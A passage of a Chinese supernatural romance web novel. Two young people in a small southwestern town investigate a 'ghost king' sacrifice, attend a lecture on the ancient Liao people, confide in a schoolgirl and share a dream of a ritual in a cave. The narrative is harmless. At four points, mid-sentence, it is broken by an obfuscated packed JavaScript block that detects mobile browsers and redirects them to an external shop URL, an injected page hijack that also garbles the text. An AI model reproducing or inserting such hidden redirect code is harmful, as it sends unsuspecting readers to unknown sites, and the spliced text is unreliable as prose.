“那是一种传说,当年张献忠那么多宝藏,至今没得下落。说不定就在我们这里呢,我们以前也属于四川管。”郑高志说完又轻轻摇头,“当然扯远了,我也只是打个比方。” 郑咏絮在内心翻了个白眼,“你是说金万堂靠鬼王给的信息发了家,他是怎么跟鬼王沟通的?” “不知道,我也只能猜测。”郑高志犹犹豫豫,“他虽然是老板,但经常亲自下矿。而且是一个人,在矿道里到处走来走去。我悄悄跟踪过他,他也只是走走,这里看看,那里看看,没听见他跟谁说话,也没留啥子信息。” 郑咏絮轻蔑地看了他一眼,“伯父,你在金万堂身边那么多年,怎么什么也不知道?” 郑高志被她说得有些尴尬,“金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550044|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万堂不信任任何人。你看他的两个孩子,一个儿子早死,一个女儿断了联系,这可能就是一种报应。要不是因为你是祭童,他肯定也不会告诉我鬼王这回事。” 郑咏絮沉默了一会儿,缓缓开口,“伯父,你有没有想过,万一金万堂说通了鬼王,不让他跟我沟通呢?金万堂一直都说的是要我和易无钦给鬼王献祭。我怕来不及沟通就先死了。” “不不不,没那么快。”郑高志语气笃定,“鬼王的安排还没完成。” “安排,什么安排?”郑咏絮疑惑地看着他。 郑高志却摇摇头,“这是金万堂说的,具体是什么他不知道,只说鬼王自有主意。” 郑咏絮忍不住发出一声轻蔑的冷笑,“伯父,你这样啥都打听不出来,让我怎么做?不能光是你对我提要求,你总得帮帮我,否则我也是抓瞎。” 郑高志被一顿抢白,脸色十分不好看,又不好对她发火,半晌才说,“行,我想办法套点消息。” 郑咏絮见他也没话说了,转身就想往屋里走。 刚走了两步,她又倒回来,“伯父,你答应了我的,要让姐姐帮我照顾爸爸妈妈。那你要想办法不让她嫁到外地去,就留在本地。” 这场谈话让郑咏絮心中十分悲凉愤恨。看着她长大的伯父,为了利益,要让她年纪轻轻去送死。甚至连如何避开祭童献祭命运都不会去想办法了解,就那么直截了当拿她当工具。 反观易无钦,虽然爸妈早早失踪了,但他的姥姥为了保护他硬是拼上了性命。同样都是家人,差别不是一般大。 她的心里五味杂陈,这两天情绪怎么也好不起来。宋兰芳发现她的低落还仔细问了情况,她也只能推脱到易无钦身上去,说是他那天来家里做客却不留下吃晚饭让她生气了。 郑咏絮站起身来,准备去整理书架,让这种体力活解一解心中的烦闷。 正整理时,手机又响了,是保安处打来电话说有人送来了东西要她去拿。 郑咏絮觉得纳闷,谁会给她送东西呢。她来到保安室,保安老陈指着桌上的蛋糕盒子,“学校外面那家蛋糕店送来的,喊你收。但不说哪个送的。” 老陈朝她挤眼,“郑老师,这是不是你男朋友给你送的?上次中午送你回学校那个。” 郑咏絮撇嘴,“我也不晓得是不是他送的。” 她提着蛋糕盒子往回走。回到工位上打开看,盒子里是一个四寸的奶油蛋糕,上面点缀着大颗大颗的草莓和巧克力。 蛋糕旁边有个卡片,上面就一行字:吃甜使人快乐。 郑咏絮立马就知道这是易无钦送的,忍不住嘴角上扬。 旁边同事看见了,揶揄道:“好好看的蛋糕,好贴心的男朋友。” 郑咏絮也不解释,得意地说,“嫉妒吗?羡慕吗?” 或许甜品真能让人心情好,被这个蛋糕和同事的揶揄打岔,郑咏絮的心绪也没那么糟糕了。她给蛋糕拍了照片发给易无钦,“谢谢蛋糕,很开心。” 易无钦很快回了个雀跃的表情包。 就着春光,郑咏絮一勺一勺吃着奶油蛋糕。好像,自己也没那么烦恼和焦虑了。 30. 讲座 姜放开讲座那天,易无钦早早就去了学校。 历史文化类的讲座在这个大学还是很受欢迎。 “同学们,我想知道你们当中有多少是宾化本地人?”姜放笑呵呵问道。 台下一半的人举起了手。 “那有多少是大渝州的人呢?渝州区县都算。” 绝大多数的人都举起了手。易无钦是为数不多没举手的人,在台下的人群中或多或少有点另类。 姜放示意大家放下手。 “虽然有个别同学不是大渝州的人,但在这里读书生活那么久,一定对这里对民俗有所了解。”姜放放着幻灯片。 屏幕上出现了几张照片,吊脚楼、披麻戴孝、糍粑、筒裙、包头巾妇女,“这些大家都不陌生吧?”他拿着话筒说。 台下议论纷纷,这几张照片的东西确实是当地常见的,没有图说也能说出名字。 姜放继续说,“这些在大家看来习以为常的事物,其实都是流传千年的习俗。而这种习俗的源头,并非大家所熟知的民族,而是一个神秘的民族。” 他停顿了下,翻出下一张幻灯片,“那就是僚族。”又特意强调,“这个字不读聊,而读老。老族,僚族,僚人。” 易无钦在台下静静听着。 “这是一个曾经活跃在我国大西南这片土地上的民族,早在秦汉时就有了记载,魏晋时最为兴盛,于宋元时逐渐消亡。他们拥有自己的文字,留下灿烂的文化后又消失在历史长河里。关于他们的消失,史学界有很多种说法。而我今天要分享给大家的主题是,僚人这种民族反映了西南地区怎样的地域特色文化。”姜放声情并茂地讲述着,台下的同学们都听得极为认真。 姜放又展示了一些照片,是漫画画的。 “僚人有很多民俗跟中原文化大不一样,甚至还有被称为淫祀的祭祀,比如猎人头,被历朝历代所禁止。” 他细细讲述了馘首。 好些胆小的同学感到害怕,捂上了耳朵。姜放见状,换了个话题,“讲个有趣的关于人头的传说吧,飞头僚。” 他生动地讲了飞头僚半夜出去寻找吃的故事,让气氛再次活跃起来。 易无钦面无表情地听着,心里却在大喊,“我就是那个飞头僚,我能半夜把头飞出去。”他看了看周围大部分的渝州人,这些西南人是绝不会想到他一个东北人居然会些僚人的东西。 讲完了飞头僚,姜放继续讲僚人习俗。 “僚人善文身,这个文身的作用就很多啦。一个呢,他们住在水边,觉得文身用以躲避水里的祸患。还有个原因呢,文身是不同部落的图腾标记。再者,文身标志着成年,可以婚娶了。” “当然了,僚人的成年标志除了文身,还有凿齿。就是拔掉两颗牙齿。” “啊……”台下惊叹一片。 易无钦忽然心中一动,他想起来到归望镇后那个梦见爸爸妈妈和姥姥的梦境。他在手术台上被拔去牙齿,爸爸妈妈庆祝他长大了。 “原来如此。”他在心里默默地说,这个僚人跟他真有莫大的关系吗? 带着这样奇怪的疑问,易无钦听完了剩下的讲座。 讲座结束后,易无钦原本想立即找姜放聊聊。可是他被热情的同学们团团围住,不停解疑答惑,易无钦根本挤不进去。 他知道姜放接下来有工作人员带去图书馆看书,于是干脆提前跑过去找郑咏絮。 “讲座怎么样?”郑咏絮刚从小会议室里出来,那里是给姜放布置的单间,让他静静看书不被打扰。 “讲的很好,我看台下的听得都很认真。”他点点头。 “有啥新的收获吗?”郑咏絮边说边递了一瓶矿泉水给他。 易无钦打开喝了一口,“有。”他小声对她说了凿齿的梦境。 郑咏絮越听越疑惑,紧紧皱着眉头,“你一个东北人,成年就成年,干嘛用大西南的习俗?”她盯着易无钦左看右看,“你真是东北人吧?该不会祖上有僚人血统?” 易无钦无奈地笑了,“我家,我妈家,我爸家,全都土生土长东北人,连西南的亲戚都没有。都是因为三线建设才和大西南有了亲密接触。” 郑咏絮听他说着,忽然想到一种可能,她欲言又止,最终还是没说出口。 易无钦察觉到,忙问,“你想说啥?” “没,没啥。”她找了个借口,“想问问你的牙齿还好吗?” 易无钦笑起来,“牙口好得很,吃辣都吃习惯了。” 郑咏絮低头笑笑,没有说话。她刚才想到的可能是,易无钦的爸爸妈妈仍然在惦念着他。说不定是以梦中凿齿的方式知道儿子成年了。 有同事走过来给郑咏絮打招呼,眼神却黏在易无钦身上不下来。 “咏絮,你男朋友吗?送蛋糕那个?” 郑咏絮脸一红,“啊”了一声,也不只是承认还是否认。 易无钦笑嘻嘻,大大方方说,“你好,我叫易无钦。” 同事也笑嘻嘻,“长得又高又帅,你俩真般配。” 郑咏絮斜睨同事一眼,“不用去接姜教授吗?” 同事哈哈一笑,“马上去,不当电灯泡。” 同事一走,刚刚还谈笑自如的两人突然变得沉默,气氛有点尴尬。 “咳咳,你要在这里等姜教授吗?”郑咏絮尴尬地找了个话题。 易无钦挠挠头,“要等的,好歹跟他说上几句话。” 他又拍了拍自己的背包,“我有两本书要给他。” “哦,”郑咏絮看了眼他的背包,“我妈给你的书?” 易无钦点点头。 那天去郑咏絮家吃饭后,宋兰芳一上班就火速去找了学校档案室,亲自整理出了易松涛当年留下的书。和学校交涉一番后,最终把这些书都给了易无钦。 那些书本来也不是啥孤本古籍,也就是记载西南地区民俗文化方面的,不是收藏品,不值钱。当然对于易无钦来说,意义大于价值。 “对了,你今天几点下班?要不我等你下班一起回去吧?”易无钦刚说完这话,想了一想就后悔了。郑咏絮是坐学校交通车上下班的,不需要和自己一起回去。而他不是学校的人,也不好去蹭交通车的。 郑咏絮却说,“好呀,咱们晚上去吃火锅吧。你能吃辣吧?” 易无钦忙说,“能,当然能。” 话音刚落,就听见门口传来一阵躁动。他俩转头去看,原来是被人群簇拥着的姜放来了。 “好了,同学们请回吧。姜教授要休息一会儿。”随行的老师努力将跟着的学生隔离开。 姜放笑呵呵,“同学们太热情了,你们如此喜欢传统文化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17553908|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这让我非常高兴。下次有机会我还要来这里开讲座,继续给你们讲僚人的故事。而我保证这个时间不会太久。” 老师们使劲拥着姜放往前面走。姜放看见了易无钦,很高兴,“小易,你来啦。小郑也在。” 易无钦和郑咏絮忙跑过去问好。 姜放很高兴,“我这会儿要去小会议室看书,你们一起来吧。” 易无钦点点头,看着郑咏絮。郑咏絮看着前面的领导,领导点头同意让她去,“小郑,做好陪同工作。” 到了小会议室,姜放坐在座位上放空。 “现在不比年轻时了,讲课还是费精力,我得缓缓。” 郑咏絮泡好茶端过去,“教授,要不要吃点东西?小饼干之类的。” 姜放摇头,“我喝茶就可以了。年龄大了不爱吃零嘴。” 易无钦从包里往外掏东西,“这是我让我朋友从东北寄过来的,长白山人参片,最滋补了。姜叔,你拿去偶尔泡水喝。” 姜放毫不客气收下,“你们东北的人好,东西也好。” 易无钦又将旧书递给他,“这是咏絮妈妈帮我从学校要回来的,我爸爸当年的书,你看看吧。” 姜放拿过那些书,脸上尽是唏嘘和怀念,“这几本书我那里也有,当年和你爸爸一起去书店买的。我俩不上班时就喜欢去书店淘书。” 他无比珍惜地抚摸旧书,仿佛透过它们看到了当年的时光。 等姜放休息好了,郑咏絮立刻问他关于僚人三魂丢了一魂会如何的问题。 姜放朝她摊手,“上次在金吉家,你问过我后。我回家好好查了资料,可惜,僚人文化里并没有相关的记载。失魂落魄那是道家里才有的。” “哦,”郑咏絮脸上是掩饰不住的失望。 “你怎么这么关心这个问题?”姜放好奇问。 郑咏絮想了想,说,“前些日子我做了个很奇怪的梦。梦见一块大石头,发出鼓声。嗯,石头发出铜鼓声。边上站了很多人,他们往大石头里面跳。大石头就像海绵一样,把他们都吸收了。” “啊,大石头吸人?”姜放听得疑惑。 郑咏絮继续说,“最奇怪的是,梦里有两个我认识的人。他们站在大石旁,看似没被吸收进去,但我看见大石里出现了他们的脸。就像是,他们身体在外面,魂魄被吸走了。” 她停顿了下,喝了口水,“这个梦太奇怪了,让我印象十分深刻。我在想梦中那个大石是不是就是你说的僚人灵石,还有铜鼓声。所以我特意问问僚人文化里关于魂魄的说法。” 姜放啧啧不已,“你这梦确实太怪异了。小郑,你大概是没休息好吧。灵石虽然是僚人意志的象征,但并不是魂魄的收纳器,也没有僚人死后回归到灵石里的说法。僚人更相信死后灵魂要通天。” “哦,那确实是我多想了。”郑咏絮笑笑,“大约是听了你的故事,日有所思夜有所梦。” 姜放喝口茶,翻开手边的古籍开始查阅。 两人无聊也翻着书随意去看。 过了好一阵,姜放说,“你们看看,这本县志上记载了,清朝初年还有僚人的记载。但到了乾隆时,已完全不见踪影了。” 易无钦忽然想到一件事,立即问道:“姜叔,这个僚人跟鬼王山有没有啥联系?归望镇这座山为啥叫鬼王山?” 31. 帮助 姜放愣了一下,思索了好半天, “这地方好像真没啥关于鬼王山的确切说法。” 郑咏絮凝神想了下,说,“教授,我记得你上次说馘首。僚人把敌人的头割下来‘笼之以竹’,称之为‘鬼’,这难道没有关系吗?或许鬼王山的鬼不是我们认为的妖魔鬼怪那种鬼,而是僚人的‘鬼’?” “你这观点有意思。”姜放赞许地朝她点头,“还真说不准,有待进一步考察。” 他顿了顿又说,“其实啊,一个地方如果官方和民众都没啥说法,那么你们可以找有一类人打听。” “什么人?”郑咏絮好奇问道。 姜放喝了口水,“可以问问道士先生,他们说不定流传了啥子玄学方面的说法。” 易无钦和郑咏絮互相看一眼,不约而同想到了三姨婆。 郑咏絮立马拿出电话打过去,响了几声后,三姨婆接了电话。 “三姨婆,请教你一个事情。你有没有听那个大师讲过鬼王山的传说?这座山为啥叫鬼王山?” 电话那头的三姨婆估计是在道观里,隐约听见唱经的声音。 “我听说过,说鬼王是从酆都那边逃跑出来的,跑到这里跑不动了。因为前面有古佛,后面有仙女,所以鬼王只能在这里化成山。” “啊?”郑咏絮开着公放,“真的假的?” 三姨婆说,“吴大师是这样跟我说的,你要是去酆都耍,可能鬼城年龄大点的导游也会告诉你这个典故。” “等于说是鬼王被困在了归望镇,没办法离开了?”郑咏絮继续问。 “这就是个传说,你就当听个故事。事实上,鬼王山的风水好得很,哪有啥子鬼鬼怪怪的。你看归望镇那么多人家都把老人的坟修在鬼王山上,没见哪个坟头诈尸闹鬼吧?”三姨婆语速很快,噼里啪啦说完后就以自己在忙挂掉了电话。 “有意思,酆都的鬼王跑到了这里来。”姜放听得笑呵呵,一边说一边拿笔在笔记本上记了下来,“这都是民俗文化的一部分,这样的民间传说很鲜活。” 易无钦笑道:“姜叔,下次你再去采风,带上我俩呗。” 姜放也笑,“你们愿意去当然很好,尤其小郑是归望镇本地人,认识的人多,了解的信息更多。” * 晚上的火锅是姜放请他俩吃的,在宾化的一家老店。 “对了,小易,你在工作上有啥打算吗?”姜放烫着毛肚问他。 易无钦心下有点沉,“暂时没啥打算,现在接点散活儿也能糊口。” 姜放瞥了他一眼,“你这没工作也不是长久之计。现在你是一人吃饱全家不饿,那万一要娶媳妇成家呢?” 易无钦被麻辣牛肉片呛住,咳了起来。郑咏絮连忙把可乐递给他。 “没,没想那么远。”易无钦呛红了脸。 姜放瞪他,“你这孩子怎么能不想呢?漂泊不定的能有女孩子安心跟你吗?” 他不等两人反应,自顾自说起来,“你没事就在家看看书,趁年轻记性好,考个编制。就考在这里,宾化或者綦江,都近。你是学美术的,那就考文化系统,博物馆、文化馆、美术馆什么的。工资虽然不高,但清闲,可以专心研究自己喜欢的东西。” 易无钦认真听着,觉得他的话很有道理。 姜放又继续说,“有个编制,虽然工资不高。但女孩子家里会很容易接受,尤其是父母都是稳定编制的更喜欢有编制的男生。” “哎,小郑,你爸妈有没有跟你说过要找个啥样的男生?”他突然问道。 郑咏絮正在火锅里捞老肉片,听他这样一问,愣住不知该不该继续捞,“不知道,没聊过。” 姜放把一碟藕片煮下去,“现在还早,等你俩感情稳定下来。我作为他的家长去见你爸妈。”他摸了摸下巴,“我虽然是教授,但不是有钱人。不知你爸妈接不接受?” “啥?”郑咏絮脸通红,“什么见家长,我俩不是你想的那样。” 易无钦低着头没说话,他没发现自己嘴角含了一抹笑。姜放的话让他心里暖暖的,是久违了的长辈的关心。 火锅在闲扯中吃完了,两人将姜放送到招待所。临别时,姜放还不忘叮嘱易无钦去买考试的书来看。 这个时间点回归望镇的客车已经没了,只能坐十元一人的出租车回去。 两人慢慢朝拉客的车站走去。 可能因为美食多,宾化的夜晚总是热闹的。今晚不晴不雨,风吹在身上还略冷。但对于刚吃完火锅的人来说,这样的冷有一种凉爽的享受。 “姜教授对你挺好。”郑咏絮突然说,“你跟他没见过几次吧?” 易无钦想了想,“见过两三次吧,打电话打过几次。” “他完全把你当成了自己家里的晚辈一样,很关心你。”她的语气平平淡淡,没有悲喜,“正常长辈就是这样吧。” 易无钦低头说,“是,我知道。他和我爸爸是旧友,是这世上为数不多还记得我爸妈的人。大概我小时候他还抱过我。” “真好啊。”郑咏絮一个深呼吸,又长长地吐了一口气。 易无钦看着她,想开口问什么。却被她打断,“这里过去就是小萍的学校,看时间她应该要下晚自习了。我们去看看她吧。” “好啊。”易无钦点点头。 宾化中学门口的保安认识郑咏絮是曾经的学生,放了他俩进去。 这个时间点里下课还有二十分钟左右,两人提着给金小萍买的奶茶和夜宵,在校园里慢慢逛。 “我从这里都毕业好几年了,还是一点都没变。以前下了晚自习,我也是这样,和同学一起散步。”郑咏絮抬头望着夜空,那时无忧无虑,不知道自己是祭童。虽然仍然有出了归望镇就难受这个毛病,好在宾化在她能承受范围内。 郑咏絮从小聪明要强,成绩也好,高中的老师们都很看好她,努力冲一冲985或者211是没问题的。但可惜的是,身体不允许,她只能读宾化的大学,也就是现在上班的地方。这个大学对于她来说完全不符合预期,甚至于在她读书那会儿还叫学院,毕业时才升级成了大学。 在她心里,这仍然是拿不出手的。 “你和你同学逛操场,像咱俩现在这样吗?”易无钦突然出声,打断了她的思绪。 “啊?”郑咏絮一愣。 易无钦说,“我说,你和同学逛操场,男的还是女的?” 郑咏絮抬头看他,忍不住扑哧一笑,“男的女的怎么了?都是同学呀。” “哦,”易无钦嘿嘿一笑,“我读书那会儿可老实了,从来没和女同学逛操场。姥姥把我看得很紧。” “读书那会儿老实,毕业后就不老实了,是这个意思吧?”郑咏絮一脸狡黠。 易无钦:“……” 忽听下课铃声响起,教学楼开始沸腾。 两人小步朝教学楼跑去,在一楼出口等金小萍。 金小萍跟着人流从楼梯上下来,她看上去状态好多了,和身边同学说说笑笑,没有之前那样怯懦畏缩的样子。 她很意外也很惊喜二人来看她,“无钦哥哥,咏絮姐姐,你们怎么来了?” “晚上在宾化吃饭,就说顺便来看看你。”郑咏絮笑道。 金小萍朝他们身上闻,“嗯,你们吃的火锅。” 三人哈哈大笑,郑咏絮问,“你怎么样,最近休息还好吗?” 金小萍点点头,“我很好。” 按照学校的规定,住读生晚上不能随便离校。两人将带的吃的喝的给她,再陪她去操场上散步。 眼见四下无人,郑咏絮低声问,“你还会看见你哥哥吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17558082|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金小萍喝了口奶茶,摇头,“看不见了,梦见过两次。”她停顿下,“不过,没有之前那种害怕的感觉,就像我以前梦见爸爸妈妈一样,他可能是来看看我吧。” 她从脖子里翻出一条项链,“我把吴大师给我的手串改成项链了,戴在手上容易被老师说。”她又面露苦恼,“只是过段时间,天气热起来,项链也不好戴,就不知道该怎么办了。” 郑咏絮看着项链说,“你先这样戴着,过段时间再说吧。唔,说不定还能改成橡皮筋扎头发。” 金小萍一听,深以为然。 易无钦将一碗狼牙土豆递给金小萍,她接过来时,瞥见他手腕上的手串,“你俩戴了一样的手串,是情侣款吗?” 易无钦没有说话,郑咏絮缩了下手,“啊,不是情侣款,这是定魂珠。” “定魂珠?”金小萍吓了一跳,“怎么你们也有这种封建迷信的东西?” 易无钦笑了笑,“是我殷姥姥给的,说是保佑我一个人在外面平平安安。老人家嘛,迷信。咏絮看到了觉得好看就让殷姥姥又做了一串。” “哦。”金小萍将信将疑。 “不,”郑咏絮突然出声,“这东西确实跟封建迷信有关,我和他都看见了你哥哥,我们都害怕某一天变得魂魄残失。” “咏絮,”易无钦皱着眉头喊了她一声,“别胡说吓着妹妹了。” 郑咏絮看着一脸疑惑的金小萍,语气十分坚定,“我晓得这些事情本来不应该给你说,你只是个学生,现在应该专心读书。但是,” 她深吸几口气,“我和你无钦哥哥现在很危险,随时可能没命。这件事跟你哥有一些些关系,所以让你晓得也是应该的。当然我还有一个目的,我对你是信任的,希望你能帮我们。” 她又叹了口气,“不帮也没关系。万一哪天我们真出事了,至少世上有一个你知道我俩死得不寻常。” “哥哥,姐姐,你们到底怎么了?怎么听着这么吓人?”金小萍又惊又怕。 易无钦轻叹一声,“我来说吧。” “我和你姐姐被一种不知名的邪祟缠上了,它肯定是要我们的命。你哥哥死后成为恶魂跟这个邪祟脱不了干系。我们在想办法对抗它,也不知道最后会成功还是失败。” “邪祟?什么邪祟?”金小萍惊恐地睁大了眼睛。 郑咏絮摇摇头,“不知道是什么。” 金小萍忙道:“那咱们去找上次那个吴大师吧,他肯定有办法。” 郑咏絮说,“他看出有邪祟,但却不知道这是啥。东北那位殷姥姥和她的仙家也不知道。” 金小萍沉默了。 过了好一会儿,她又问,“那我能帮你们什么?” 郑咏絮沉声说,“这个邪祟跟万堂公公有关,他是目前最了解这个邪祟的人。但他不可能告诉我们,因为他的钱都是这个邪祟帮他弄来的。你也不用做什么,就帮我们悄悄观察万堂公公,凭你的直觉去发现他的异常。但是,千万不要让他发现你知道这件事。” “万堂公公,他怎么会?”金小萍有点不可置信。 郑咏絮冷哼一声,“他一个儿子死了女儿不认的认,为了钱有啥做不出来。”她原本还想继续说金海军的事,但考虑到金小萍毕竟年龄小就闭口不谈。 易无钦补充说,“小萍,这件事你能帮就帮,不能帮千万不要勉强。我和咏絮属于没办法,但没必要再搭进一个你。” 金小萍内心受到不小的冲击,需要时间来消耗。这些原本听起来十分荒诞的事,在经历过哥哥的事情后,她接受起来倒也快。 快走到宿舍楼门口了,金小萍郑重其事地朝他们点头,“哥哥姐姐我明白了,你们放心,我会想办法了解情况,也会保护好自己。” 她眼眶微红,“你们千万不能有事啊。” 32. 启示 两人坐出租车回到归望镇的时候已经是晚上十点过。 易无钦送郑咏絮回家。 归望镇的风比宾化要凌厉,吹在身上凉意更甚。 “你怪不怪我没跟你商量就跟小萍说了这件事。”郑咏絮突然问,“其实我也是临时起意。” “说了就说了吧。你说得对,我们确实需要一些帮手。”易无钦说。 郑咏絮低着头走路,“可能我也是堵在心里太久了,想找个宣泄口。” “我晓得,担心祭童,害怕鬼王。”易无钦朝她扬扬手上的手串,“咱们也不是全然被动。你看有这个定魂珠在,至少金海军是不敢来缠了。” “我隐隐约约觉得它会有大作用。” 郑咏絮抬手看手串,“希望吧。” 快到家门口了,易无钦笑道:“今天听了姜叔的讲座,说了那么多僚人。又去找了小萍。” “嗯,怎么了?”郑咏絮抬头看他。 “我感觉今晚咱们会做梦,像上次那样,我们在同一个梦里。” 郑咏絮忍不住笑了,“那,梦里见。” * 果不其然,两人在梦里相见了。 这次易无钦全身全须,不再是单独一个头飞来飞去。 他低头看看自己的左手,定魂珠依然发着光,淡淡的一圈。 他再看看右手,居然也在发光。 再仔细一看,原来右手那光并不来自他的手腕,而是另一只手腕。 郑咏絮的手腕。 他俩正手牵着手。 易无钦脸瞬间就红了,去看郑咏絮,发现她也正在看他。 在意识到自己和郑咏絮牵着手时,易无钦的右手瞬间传来一阵酥麻,顺着手臂延伸到全身。 他站在原地不敢动。 郑咏絮发现了他的异样,“你怎么了?” 易无钦害羞地低着头,“咱俩第一次牵手。”话一出口,他心里有些惊讶,难道在梦里,胆子也大了许多吗? “哦。”郑咏絮低头去看二人牵着的手,脸上挂着甜甜的笑。 “咏絮。”易无钦低声喊她。 郑咏絮抬头对上他的眼睛,“怎么?” “我喜欢你。”易无钦定定地说,眼神温柔清澈。 郑咏絮低下头,心里满是欢喜。她看向两人牵着的手,一些情愫在悄然涌动。 可再看见那发光的定魂珠,她又清醒了一点。 这是在梦里。 这样的表白是梦话吧?梦话能当真吗? 她觉得不好回答。 两人就这样静静站了好一会儿。 忽听前方一阵喧闹,仿佛又是熟悉的僚人之歌。 他们忍不住循声而去。 依旧是鬼王山的山林。 易无钦看了看四周,这是上次郑元带他来看归望石的附近。而喧闹也是从归望石那里传来的。 “难不成这大石头真有啥说法吗?”他忍不住问。 郑咏絮想了想,说,“我记得姜教授说僚人有个灵石,而且我也梦见过那个吸魂魄的灵石,该不会就是归望石吧?” “咱们上去看看。”易无钦在前面,牵着郑咏絮小心翼翼往归望石的方向走。 到了大石前,喧闹声戛然而止,也没看见任何人。只剩光秃秃的岩石立在那里。 两人围着归望石看了又看,也没看出有什么名堂。 僚人的歌声再次响起,这次出现在了他们下方。 两人朝着山崖下一看,山崖峭壁间,有一些天然形成的石缝,里面不知深浅。最大的石缝里有光亮,还有方才的喧闹声。 手上的定魂珠红光更甚,仿佛在催促他们去看。 “山洞在峭壁上,我们怎么过得去?”郑咏絮不禁发愁。 易无钦笑了,“我们这是在梦里,说不定跳一跳就过去了。” “能行吗?”郑咏絮担心道。 “试试吧。”易无钦仔仔细细去看地形,“咱们先跳到那块凸起的石头上,再跳到右边那块上,最后跳到山洞口。” 郑咏絮立即抱住他的腰,整个人在他怀里,“我害怕,你抱着我跳吧。” 这是两人第一次如此亲密的接触,易无钦心里激荡起无数个海啸。他低头仿佛就能触到郑咏絮的发丝,而那发香仿佛也飘散在他的鼻尖。 不过,这是在梦里,是闻不到味道的。 这是梦里,这是梦里。 他俩是祭童,这是在寻找线索破局。 易无钦在心里默默念叨,努力维持着心神。他也抱住郑咏絮,发现她的腰比平常看上去还要细。 梦里,梦里。 专心,专心。 他深吸几口气,朝着计划好的那块凸起跳去。 几乎不费吹灰之力,他俩稳稳当当站稳了。 再如此跳一次,两人就站在了山洞门口。 “好像很顺利我们就跳下来了,”郑咏絮松开抱着他的手,“没我想象那么可怕。” 易无钦也松了手,“这是在梦里嘛,鬼王想让我们进山洞去,肯定不会让我们出事的。” 山洞里的声音越来越大,虽然仍然听不懂那些僚人吟唱的内容,但两人不约而同觉得那是一种邀请的方式。 易无钦仍然走在前面,牵着郑咏絮准备进入山洞。 可奇怪的是,面前明明空旷的洞口,却像有一层无形的隔断,阻着他进入。 他伸出手去试探,却摸不到那层隔断的存在,但他又的确被阻挡着进不去。 “怎么了?”郑咏絮见他停在那里,不明所以。 “不知道为啥,我没办法前进,像被挡住了。”易无钦大惑不解。 郑咏絮同样感到疑惑,她走上前来,“啥情况,我试试呢。” 她拉着易无钦小心翼翼往前走,却并没有感觉到易无钦所说的那无形的隔断,顺利地往前。易无钦更加疑惑了,在她身后紧张地盯着山洞各处,生怕有啥意外。 再小心翼翼走了一段路,突然豁然开朗。两人面前出现了一处开阔的空间。一个空旷的山洞,地面离穹顶起码得有三层楼高,洞里地势相对平坦,一条河流静静流淌。 “这里我来过,是老龙洞。”郑咏絮看了看周边的地形,她跟易无钦解释,老龙洞很凉快,归望镇的人到了夏天喜欢到这里乘凉,小孩还能耍水,“但我记得老龙洞应该不是从我们刚才那里进来。” 就在这时,老龙洞中出现了很多人,或歌或舞,再次喧闹起来。两人仔细看去,这些人穿着打扮各不一样,既有古代人也有现代人。 他俩虽然对历史没啥深入研究,但看多了电视剧也大概能分辨一些朝代。 “他们应该就是传说中的僚人。姜叔说过,僚人秦汉时就有了,有千多年的历史,经历过那么多朝代,所以衣服也是各个朝代的。你看,有汉朝,有唐朝,那个应该是清朝。”易无钦分析。 郑咏絮指着一些人问,“那为啥还有现代的?” 易无钦:“那么大个僚族,总有些血缘后代流传至今吧。” 那些人自己做着自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17565971|203544||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的事,好像当他俩并不存在。而他俩像是站在旁边作为观众在观看一场电影,彼此互不干扰。 过了一会儿,那些人开始聚集起来,三三两两站在河流里,任由河水打湿衣衫,直直地盯着水深处。 易无钦和郑咏絮也跟着去看。 河流水面十分平静地出现了一块大石,跟郑咏絮之前梦见的一样。 大石出现后,人群变得十分激动和兴奋,不知何处出现了鼓声,一下一下地,越来越密集。 郑咏絮隐隐有些害怕,“该不会大石又要吞掉这些人吧?” 易无钦闻言,护着她往后退,尽量远离大石和河流。 然而她所担心的大石吞人并没有出现。 一个看起来像是首领的人站在了大石上,开始了一段手舞足蹈,周围的人跟着跳舞,看上去是在进行什么仪式。 首领念念叨叨,仰头朝着穹顶的方向大喊,喊的是他俩听不懂的话。 